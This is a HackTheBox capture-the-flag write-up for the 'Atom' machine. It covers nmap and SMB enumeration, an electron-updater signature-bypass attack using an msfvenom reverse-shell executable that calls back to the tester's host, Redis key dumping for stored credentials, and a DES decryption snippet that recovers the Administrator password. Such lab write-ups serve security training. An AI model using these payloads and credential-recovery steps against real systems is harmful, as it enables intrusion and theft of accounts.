HackTheBox - Atom Writeup

Information Gathering

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Nmap scan

sudo nmap -sC -sV 10.10.10.237 -v

80/tcp  open  http         Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27)
| http-methods: 
|   Supported Methods: GET POST OPTIONS HEAD TRACE
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: Heed Solutions
135/tcp open  msrpc        Microsoft Windows RPC
443/tcp open  ssl/http     Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27)
| http-methods: 
|   Supported Methods: GET POST OPTIONS HEAD TRACE
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: Heed Solutions
| ssl-cert: Subject: commonName=localhost
| Issuer: commonName=localhost
| Public Key type: rsa
| Public Key bits: 1024
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2009-11-10T23:48:47
| Not valid after:  2019-11-08T23:48:47
| MD5:   a0a4 4cc9 9e84 b26f 9e63 9f9e d229 dee0
|_SHA-1: b023 8c54 7a90 5bfa 119c 4e8b acca eacf 3649 1ff6
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
445/tcp open  microsoft-ds Windows 10 Pro 19042 microsoft-ds (workgroup: WORKGROUP)

Web Enumeration

It’s a static page with an executeable to download, but nothing interesting! Let’s keep enumerating

<p style="color:Green">SMB Enumeration </p>

An interesting share Software_Updates let’s take a look at it

Let’s try download everything

prompt off
recurse on
mget *

We only have a pdf file!

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Foothold

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Let’s take a look at the pdf file

The Heedv1 app is build with electron-builder and also we can drop updates in the client folders in the smb and it get executed. Searching in google for an electron builder update rce, we can find an interesting

https://blog.doyensec.com/2020/02/24/electron-updater-update-signature-bypass.html

Let’s first create our shell with the name “s’hell.exe” to bypass the signature

msfvenom -p windows/shell_reverse_tcp  lhost=10.10.14.5 lport=9001 -f exe -o "s'hell.exe"

And also generate the encdoded shasum of our malicious file

shasum -a 512 s\'hell.exe | cut -d " " -f1 | xxd -r -p | base64

Now we’re ready to create our latest.yml

version: 1.2.3

path: http:/IP:PORT/s'hell.exe
sha512: CZsOB2[-SNIP-]2tW5UhzwqzLVkkpzAbuIw==

Let’s setup a listener and upload them to the clients folder in the smb! And wait until we get a shell back

We’re on the box now! And we can get the user flag !:D

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PrivEsc

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Before running any enumerating tool, i always check the Program file, the documents and Downloads folders to check if we have any custom Software (a aka free win) installed in the system!

We can copy the whole folder and try to retrieve the encrypted like the machine sharp but let’s keep enumerating!

https://www.exploit-db.com/exploits/49409

We can see that Redis is installed, we can grab the redis password from the config file

requirepass kidvscat_yes_kidvscat

Now we can enumerate the redis service!

We will use the redis-tools package

sudo apt-get install redis-tools

A very good ressource, i’ll use everything from here https://book.hacktricks.xyz/pentesting/6379-pentesting-redis

Let’s dump the database

info

Let’s list the keys from the db0

Let’s check their content

The key pk:urn:user:e8e29158-d70d-44b1-a1ba-4949d52790a0 seems to give us credentials

Administrator:Odh7N3L9aVQ8/srdZgG2hIR0SSJoJKGi

Seems like it’s an encrypted password! And we already know that we have an exploit to decrypt it ! Lets give it a try

Let’s just take a snippet from the exploit-db exploit

#!/usr/bin/env python3
import base64
from des import *
def decode(hash):
	hash = base64.b64decode(hash.encode('utf-8'))
	key = DesKey(b"7ly6UznJ")
	return key.decrypt(hash,initial=b"XuVUm5fR",padding=True).decode('utf-8')

print('[+] Decrypted Password: '+decode('Odh7N3L9aVQ8/srdZgG2hIR0SSJoJKGi'))

Administrator:kidvscat_admin_@123

Now let’s login as administrator to the machine

winexe -U 'Administrator%kidvscat_admin_@123' //10.10.10.237 cmd.exe

And we rooted the machine!